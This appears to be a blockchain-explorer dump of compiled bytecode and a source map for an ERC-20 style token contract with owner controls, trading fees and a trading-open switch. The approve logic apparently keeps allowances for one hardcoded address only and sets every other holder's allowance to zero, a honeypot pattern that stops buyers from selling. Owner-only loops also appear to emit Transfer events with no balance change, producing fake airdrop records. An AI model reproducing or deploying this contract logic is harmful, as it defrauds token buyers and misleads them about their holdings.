00000000000000000000000000000000000081526004016113bb90612932565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142b9061299e565b60405180910390fd5b73dc60dcc9309855cde436b2b85c022841a843242773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115675780600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161155a9190612028565b60405180910390a3611650565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040516116479190612a03565b60405180910390a35b505050565b60011515600660009054906101000a900460ff161515146116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a290612a6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561171c575060011515600660009054906101000a900460ff161515145b156117d457611729610c1c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806117945750611765610c1c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca90612ad6565b60405180910390fd5b5b6000819050600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561186b575061183b610c1c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118aa575061187a610c1c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a3a576000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156119115760085490506119d1565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156119d05760011515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156119c957600090506119cf565b60095490505b5b5b6000811115611a3857600061271061ffff1682856119ef9190612af6565b6119f99190612b7f565b90508084611a079190612bb0565b9250611a3686600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611b0f565b505b505b611a45848483611b0f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7690612c56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690612ce8565b60405180910390fd5b611bfa838383611d93565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7890612d7a565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d169190612662565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d7a9190612028565b60405180910390a3611d8d848484611d98565b50505050565b505050565b505050565b828054611da99061256f565b90600052602060002090601f016020900481019282611dcb5760008555611e12565b82601f10611de457805160ff1916838001178555611e12565b82800160010185558215611e12579182015b82811115611e11578251825591602001919060010190611df6565b5b509050611e1f9190611e23565b5090565b5b80821115611e3c576000816000905550600101611e24565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e7a578082015181840152602081019050611e5f565b83811115611e89576000848401525b50505050565b6000601f19601f8301169050919050565b6000611eab82611e40565b611eb58185611e4b565b9350611ec5818560208601611e5c565b611ece81611e8f565b840191505092915050565b60006020820190508181036000830152611ef38184611ea0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f3a82611f0f565b9050919050565b611f4a81611f2f565b8114611f5557600080fd5b50565b600081359050611f6781611f41565b92915050565b6000819050919050565b611f8081611f6d565b8114611f8b57600080fd5b50565b600081359050611f9d81611f77565b92915050565b60008060408385031215611fba57611fb9611f05565b5b6000611fc885828601611f58565b9250506020611fd985828601611f8e565b9150509250929050565b60008115159050919050565b611ff881611fe3565b82525050565b60006020820190506120136000830184611fef565b92915050565b61202281611f6d565b82525050565b600060208201905061203d6000830184612019565b92915050565b60008060006060848603121561205c5761205b611f05565b5b600061206a86828701611f58565b935050602061207b86828701611f58565b925050604061208c86828701611f8e565b9150509250925092565b61209f81611f2f565b82525050565b60006020820190506120ba6000830184612096565b92915050565b600060ff82169050919050565b6120d6816120c0565b82525050565b60006020820190506120f160008301846120cd565b92915050565b600061ffff82169050919050565b61210e816120f7565b82525050565b60006020820190506121296000830184612105565b92915050565b61213881611fe3565b811461214357600080fd5b50565b6000813590506121558161212f565b92915050565b6000806040838503121561217257612171611f05565b5b600061218085828601611f58565b925050602061219185828601612146565b9150509250929050565b6000602082840312156121b1576121b0611f05565b5b60006121bf84828501611f58565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126121ed576121ec6121c8565b5b8235905067ffffffffffffffff81111561220a576122096121cd565b5b602083019150836020820283011115612226576122256121d2565b5b9250929050565b60008083601f840112612243576122426121c8565b5b8235905067ffffffffffffffff8111156122605761225f6121cd565b5b60208301915083602082028301111561227c5761227b6121d2565b5b9250929050565b60008060008060006060868803121561229f5761229e611f05565b5b60006122ad88828901611f58565b955050602086013567ffffffffffffffff8111156122ce576122cd611f0a565b5b6122da888289016121d7565b9450945050604086013567ffffffffffffffff8111156122fd576122fc611f0a565b5b6123098882890161222d565b92509250509295509295909350565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61235582611e8f565b810181811067ffffffffffffffff821117156123745761237361231d565b5b80604052505050565b6000612387611efb565b9050612393828261234c565b919050565b600067ffffffffffffffff8211156123b3576123b261231d565b5b6123bc82611e8f565b9050602081019050919050565b82818337600083830152505050565b60006123eb6123e684612398565b61237d565b90508281526020810184848401111561240757612406612318565b5b6124128482856123c9565b509392505050565b600082601f83011261242f5761242e6121c8565b5b813561243f8482602086016123d8565b91505092915050565b6000806040838503121561245f5761245e611f05565b5b600083013567ffffffffffffffff81111561247d5761247c611f0a565b5b6124898582860161241a565b925050602083013567ffffffffffffffff8111156124aa576124a9611f0a565b5b6124b68582860161241a565b9150509250929050565b600080604083850312156124d7576124d6611f05565b5b60006124e585828601611f8e565b92505060206124f685828601611f8e565b9150509250929050565b6000806040838503121561251757612516611f05565b5b600061252585828601611f58565b925050602061253685828601611f58565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061258757607f821691505b6020821081141561259b5761259a612540565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006125fd602883611e4b565b9150612608826125a1565b604082019050919050565b6000602082019050818103600083015261262c816125f0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061266d82611f6d565b915061267883611f6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ad576126ac612633565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126ee602083611e4b565b91506126f9826126b8565b602082019050919050565b6000602082019050818103600083015261271d816126e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061275e82611f6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561279157612790612633565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006127f8602583611e4b565b91506128038261279c565b604082019050919050565b60006020820190508181036000830152612827816127eb565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061288a602683611e4b565b91506128958261282e565b604082019050919050565b600060208201905081810360008301526128b98161287d565b9050919050565b7f4552433a20617070726f76652066726f6d20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061291c602283611e4b565b9150612927826128c0565b604082019050919050565b6000602082019050818103600083015261294b8161290f565b9050919050565b7f4552433a20617070726f766520746f20746865207a65726f2061646472657373600082015250565b6000612988602083611e4b565b915061299382612952565b602082019050919050565b600060208201905081810360008301526129b78161297b565b9050919050565b6000819050919050565b6000819050919050565b60006129ed6129e86129e3846129be565b6129c8565b611f6d565b9050919050565b6129fd816129d2565b82525050565b6000602082019050612a1860008301846129f4565b92915050565b7f436f6e74726163743a207472616465206973206e6f74206f70656e2100000000600082015250565b6000612a54601c83611e4b565b9150612a5f82612a1e565b602082019050919050565b60006020820190508181036000830152612a8381612a47565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f742073746172746564600082015250565b6000612ac0602083611e4b565b9150612acb82612a8a565b602082019050919050565b60006020820190508181036000830152612aef81612ab3565b9050919050565b6000612b0182611f6d565b9150612b0c83611f6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b4557612b44612633565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b8a82611f6d565b9150612b9583611f6d565b925082612ba557612ba4612b50565b5b828204905092915050565b6000612bbb82611f6d565b9150612bc683611f6d565b925082821015612bd957612bd8612633565b5b828203905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c40602583611e4b565b9150612c4b82612be4565b604082019050919050565b60006020820190508181036000830152612c6f81612c33565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cd2602383611e4b565b9150612cdd82612c76565b604082019050919050565b60006020820190508181036000830152612d0181612cc5565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612d64602683611e4b565b9150612d6f82612d08565b604082019050919050565b60006020820190508181036000830152612d9381612d57565b905091905056fea2646970667358221220ac45769dc04be1695b9c7f47f6f8c6528748d9d8f499f19bbc56b6762ff2019764736f6c634300080a0033

Deployed Bytecode Sourcemap

20584:4480:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9476:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11709:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20822:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10596:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21112:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12385:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20908:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21030:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10438:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13323:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20988:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20860:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20768:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23017:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21074:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10767:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2770:103;;;:::i;:::-;;23277:250;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2083:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9695:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20712:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14116:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11123:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23535:251;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22685:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22838:171;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20632:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23153:116;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11386:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3028:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9476:100;9530:13;9563:5;9556:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9476:100;:::o;11709:194::-;11817:4;11834:39;11843:12;:10;:12::i;:::-;11857:7;11866:6;11834:8;:39::i;:::-;11891:4;11884:11;;11709:194;;;;:::o;20822:31::-;;;;;;;;;;;;;:::o;10596:108::-;10657:7;10684:12;;10677:19;;10596:108;:::o;21112:31::-;;;;:::o;12385:529::-;12525:4;12542:36;12552:6;12560:9;12571:6;12542:9;:36::i;:::-;12591:24;12618:11;:19;12630:6;12618:19;;;;;;;;;;;;;;;:33;12638:12;:10;:12::i;:::-;12618:33;;;;;;;;;;;;;;;;12591:60;;12704:6;12684:16;:26;;12662:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;12814:57;12823:6;12831:12;:10;:12::i;:::-;12864:6;12845:16;:25;12814:8;:57::i;:::-;12902:4;12895:11;;;12385:529;;;;;:::o;20908:71::-;;;;;;;;;;;;;:::o;21030:37::-;;;:::o;10438:93::-;10496:5;10521:2;10514:9;;10438:93;:::o;13323:290::-;13436:4;13453:130;13476:12;:10;:12::i;:::-;13503:7;13562:10;13525:11;:25;13537:12;:10;:12::i;:::-;13525:25;;;;;;;;;;;;;;;:34;13551:7;13525:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;13453:8;:130::i;:::-;13601:4;13594:11;;13323:290;;;;:::o;20988:35::-;;;:::o;20860:41::-;;;;;;;;;;;;;:::o;20768:45::-;20808:5;20768:45;:::o;23017:128::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;23127:10:::1;23102:12;:22;23115:8;23102:22;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;23017:128:::0;;:::o;21074:31::-;;;;:::o;10767:143::-;10857:7;10884:9;:18;10894:7;10884:18;;;;;;;;;;;;;;;;10877:25;;10767:143;;;:::o;2770:103::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;2835:30:::1;2862:1;2835:18;:30::i;:::-;2770:103::o:0;23277:250::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;23405:9:::1;23400:120;23424:8;;:15;;23420:1;:19;23400:120;;;23484:8;;23493:1;23484:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;23466:42;;23475:7;23466:42;;;23497:7;;23505:1;23497:10;;;;;;;:::i;:::-;;;;;;;;23466:42;;;;;;:::i;:::-;;;;;;;;23441:3;;;;;:::i;:::-;;;;23400:120;;;;23277:250:::0;;;;;:::o;2083:87::-;2129:7;2156:6;;;;;;;;;;;2149:13;;2083:87;:::o;9695:104::-;9751:13;9784:7;9777:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9695:104;:::o;20712:42::-;20749:5;20712:42;:::o;14116:475::-;14234:4;14251:24;14278:11;:25;14290:12;:10;:12::i;:::-;14278:25;;;;;;;;;;;;;;;:34;14304:7;14278:34;;;;;;;;;;;;;;;;14251:61;;14365:15;14345:16;:35;;14323:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;14481:67;14490:12;:10;:12::i;:::-;14504:7;14532:15;14513:16;:34;14481:8;:67::i;:::-;14579:4;14572:11;;;14116:475;;;;:::o;11123:200::-;11234:4;11251:42;11261:12;:10;:12::i;:::-;11275:9;11286:6;11251:9;:42::i;:::-;11311:4;11304:11;;11123:200;;;;:::o;23535:251::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;23664:9:::1;23659:120;23683:8;;:15;;23679:1;:19;23659:120;;;23743:8;;23752:1;23743:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;23725:42;;23734:7;23725:42;;;23756:7;;23764:1;23756:10;;;;;;;:::i;:::-;;;;;;;;23725:42;;;;;;:::i;:::-;;;;;;;;23700:3;;;;;:::i;:::-;;;;23659:120;;;;23535:251:::0;;;;;:::o;22685:145::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;22787:6:::1;22779:5;:14;;;;;;;;;;;;:::i;:::-;;22814:8;22804:7;:18;;;;;;;;;;;;:::i;:::-;;22685:145:::0;;:::o;22838:171::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;22949:13:::1;22934:12;:28;;;;22988:13;22973:12;:28;;;;22838:171:::0;;:::o;20632:73::-;;;:::o;23153:116::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;23247:14:::1;23231:13;;:30;;;;;;;;;;;;;;;;;;23153:116:::0;:::o;11386:176::-;11500:7;11527:11;:18;11539:5;11527:18;;;;;;;;;;;;;;;:27;11546:7;11527:27;;;;;;;;;;;;;;;;11520:34;;11386:176;;;;:::o;3028:238::-;2327:12;:10;:12::i;:::-;2317:22;;:6;;;;;;;;;;:22;;;2295:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;3151:1:::1;3131:22;;:8;:22;;;;3109:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;3230:28;3249:8;3230:18;:28::i;:::-;3028:238:::0;:::o;780:98::-;833:7;860:10;853:17;;780:98;:::o;17899:514::-;18006:1;17989:19;;:5;:19;;;;17981:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;18081:1;18062:21;;:7;:21;;;;18054:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;18154:42;18137:60;;:5;:60;;;18133:275;;;18240:6;18210:11;:18;18222:5;18210:18;;;;;;;;;;;;;;;:27;18229:7;18210:27;;;;;;;;;;;;;;;:36;;;;18285:7;18269:32;;18278:5;18269:32;;;18294:6;18269:32;;;;;;:::i;:::-;;;;;;;;18133:275;;;18356:1;18326:11;:18;18338:5;18326:18;;;;;;;;;;;;;;;:27;18345:7;18326:27;;;;;;;;;;;;;;;:31;;;;18389:7;18373:27;;18382:5;18373:27;;;18398:1;18373:27;;;;;;:::i;:::-;;;;;;;;18133:275;17899:514;;;:::o;23794:1267::-;23962:4;23947:19;;:11;;;;;;;;;;;:19;;;23925:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;24064:1;24039:27;;:13;;;;;;;;;;;:27;;;:50;;;;;24085:4;24070:19;;:11;;;;;;;;;;;:19;;;24039:50;24035:209;;;24140:7;:5;:7::i;:::-;24132:15;;:4;:15;;;:32;;;;24157:7;:5;:7::i;:::-;24151:13;;:2;:13;;;24132:32;24106:126;;;;;;;;;;;;:::i;:::-;;;;;;;;;24035:209;24256:23;24282:6;24256:32;;24328:1;24303:27;;:13;;;;;;;;;;;:27;;;;:46;;;;;24342:7;:5;:7::i;:::-;24334:15;;:4;:15;;;;24303:46;:63;;;;;24359:7;:5;:7::i;:::-;24353:13;;:2;:13;;;;24303:63;24299:700;;;24383:12;24426:13;;;;;;;;;;;24418:21;;:4;:21;;;24414:327;;;24467:12;;24460:19;;24414:327;;;24524:13;;;;;;;;;;;24518:19;;:2;:19;;;24514:227;;;24584:4;24562:26;;:12;:18;24575:4;24562:18;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;24558:168;;;24620:1;24613:8;;24558:168;;;24694:12;;24687:19;;24558:168;24514:227;24414:327;24766:1;24759:4;:8;24755:233;;;24788:22;20808:5;24813:30;;24822:4;24813:6;:13;;;;:::i;:::-;:30;;;;:::i;:::-;24788:55;;24889:14;24880:6;:23;;;;:::i;:::-;24862:41;;24922:50;24938:4;24944:11;;;;;;;;;;;24957:14;24922:15;:50::i;:::-;24769:219;24755:233;24368:631;24299:700;25011:42;25027:4;25033:2;25037:15;25011;:42::i;:::-;23914:1147;23794:1267;;;:::o;3426:191::-;3500:16;3519:6;;;;;;;;;;;3500:25;;3545:8;3536:6;;:17;;;;;;;;;;;;;;;;;;3600:8;3569:40;;3590:8;3569:40;;;;;;;;;;;;3489:128;3426:191;:::o;15081:770::-;15239:1;15221:20;;:6;:20;;;;15213:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;15323:1;15302:23;;:9;:23;;;;15294:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;15378:47;15399:6;15407:9;15418:6;15378:20;:47::i;:::-;15438:21;15462:9;:17;15472:6;15462:17;;;;;;;;;;;;;;;;15438:41;;15529:6;15512:13;:23;;15490:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;15673:6;15657:13;:22;15637:9;:17;15647:6;15637:17;;;;;;;;;;;;;;;:42;;;;15725:6;15701:9;:20;15711:9;15701:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;15766:9;15749:35;;15758:6;15749:35;;;15777:6;15749:35;;;;;;:::i;:::-;;;;;;;;15797:46;15817:6;15825:9;15836:6;15797:19;:46::i;:::-;15202:649;15081:770;;;:::o;19013:125::-;;;;:::o;19742:124::-;;;;:::o;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1397:75::-;1430:6;1463:2;1457:9;1447:19;;1397:75;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:118::-;4558:24;4576:5;4558:24;:::i;:::-;4553:3;4546:37;4471:118;;:::o;4595:222::-;4688:4;4726:2;4715:9;4711:18;4703:26;;4739:71;4807:1;4796:9;4792:17;4783:6;4739:71;:::i;:::-;4595:222;;;;:::o;4823:86::-;4858:7;4898:4;4891:5;4887:16;4876:27;;4823:86;;;:::o;4915:112::-;4998:22;5014:5;4998:22;:::i;:::-;4993:3;4986:35;4915:112;;:::o;5033:214::-;5122:4;5160:2;5149:9;5145:18;5137:26;;5173:67;5237:1;5226:9;5222:17;5213:6;5173:67;:::i;:::-;5033:214;;;;:::o;5253:89::-;5289:7;5329:6;5322:5;5318:18;5307:29;;5253:89;;;:::o;5348:115::-;5433:23;5450:5;5433:23;:::i;:::-;5428:3;5421:36;5348:115;;:::o;5469:218::-;5560:4;5598:2;5587:9;5583:18;5575:26;;5611:69;5677:1;5666:9;5662:17;5653:6;5611:69;:::i;:::-;5469:218;;;;:::o;5693:116::-;5763:21;5778:5;5763:21;:::i;:::-;5756:5;5753:32;5743:60;;5799:1;5796;5789:12;5743:60;5693:116;:::o;5815:133::-;5858:5;5896:6;5883:20;5874:29;;5912:30;5936:5;5912:30;:::i;:::-;5815:133;;;;:::o;5954:468::-;6019:6;6027;6076:2;6064:9;6055:7;6051:23;6047:32;6044:119;;;6082:79;;:::i;:::-;6044:119;6202:1;6227:53;6272:7;6263:6;6252:9;6248:22;6227:53;:::i;:::-;6217:63;;6173:117;6329: